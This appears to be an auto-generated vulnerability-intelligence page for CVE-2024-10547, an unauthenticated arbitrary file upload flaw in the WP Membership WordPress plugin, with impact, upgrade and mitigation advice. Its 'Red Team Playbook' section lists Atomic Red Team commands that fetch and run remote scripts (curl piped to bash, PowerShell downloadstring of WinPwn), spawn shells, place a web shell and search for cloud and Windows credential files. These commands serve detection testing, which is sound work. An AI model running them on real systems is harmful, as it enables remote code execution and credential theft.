CVE-2024-10547
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the user_profile_image_upload() function within the e-plugins WP Membership WordPress plugin. The affected component fails to enforce restrictions on uploaded file extensions and content, allowing unrestricted file uploads. This issue exists in all versions up to and including 1.6.2, specifically within the user profile image upload feature.
Vulnerability Description
The WP Membership plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the user_profile_image_upload() function in all versions up to, and including, 1.6.2. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can upload arbitrary files to the target server, potentially leading to remote code execution or full system compromise. No authentication or user interaction is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can result in unauthorized access, data breaches, or service disruption for websites using the vulnerable WP Membership plugin versions up to 1.6.2, affecting business continuity and data integrity.
Solution
Users should upgrade the e-plugins WP Membership plugin to a version later than 1.6.2 where this vulnerability is addressed. Detailed patch instructions and version updates are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/664e6e2a-faa1-4609-b250-d7e94c5d5a04?source=cve. The plugin page on CodeCanyon also provides updated releases and vendor guidance for secure plugin versions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the WP Membership plugin for WordPress arises from inadequate file type validation within the user_profile_image_upload() function. This oversight allows unauthenticated users to upload files without restrictions, leading to the potential for arbitrary file uploads. The lack of stringent checks means that an attacker could upload malicious scripts disguised as legitimate files, such as images. Once these files are executed on the server, they could lead to remote code execution, granting the attacker control over the affected system. This vulnerability is particularly critical due to its high CVSS score, indicating severe risk and potential impact.
Attack vectors for this vulnerability are straightforward and can be executed by any unauthenticated user. An attacker could craft a request to upload a malicious file, bypassing any authentication mechanisms. The exploitation process may involve uploading a web shell or other executable scripts that could be triggered by accessing the uploaded file through a web browser. Once the attacker gains access, they can execute arbitrary commands on the server, potentially leading to data breaches, defacement of the website, or further infiltration into the network. The simplicity of this attack makes it accessible to a wide range of malicious actors, from script kiddies to more sophisticated threat groups.
The real-world impact of this vulnerability can be devastating for businesses that rely on the WP Membership plugin. Successful exploitation could lead to unauthorized access to sensitive data, including user information and payment details. The ramifications extend beyond immediate data loss; businesses may face reputational damage, loss of customer trust, and potential legal consequences due to non-compliance with data protection regulations. Furthermore, the cost of remediation, including incident response, system recovery, and potential fines, can be substantial. The overall business risk is heightened, especially for organizations that handle sensitive information or operate in regulated industries.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify outdated plugins and assess their security posture. Organizations should also enforce strict file upload policies, including limiting file types and sizes, and implementing server-side checks to validate file contents. Additionally, employing a web application firewall (WAF) can help filter out malicious requests before they reach the application. Keeping the WP Membership plugin and all other components of the WordPress installation up to date is crucial, as updates often include security patches that address known vulnerabilities. Finally, educating users and administrators about secure coding practices and the importance of file validation can further reduce the risk of exploitation.
In conclusion, the vulnerability within the WP Membership plugin poses a significant threat to WordPress sites, enabling unauthorized file uploads that could lead to severe consequences. The ease of exploitation and potential for extensive damage necessitate immediate attention from site administrators and security professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems and protect sensitive data from malicious actors.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10547 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/664e6e2a-faa1-4609-b250-d7e94c5d5a04?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/wp-membership/10066554 |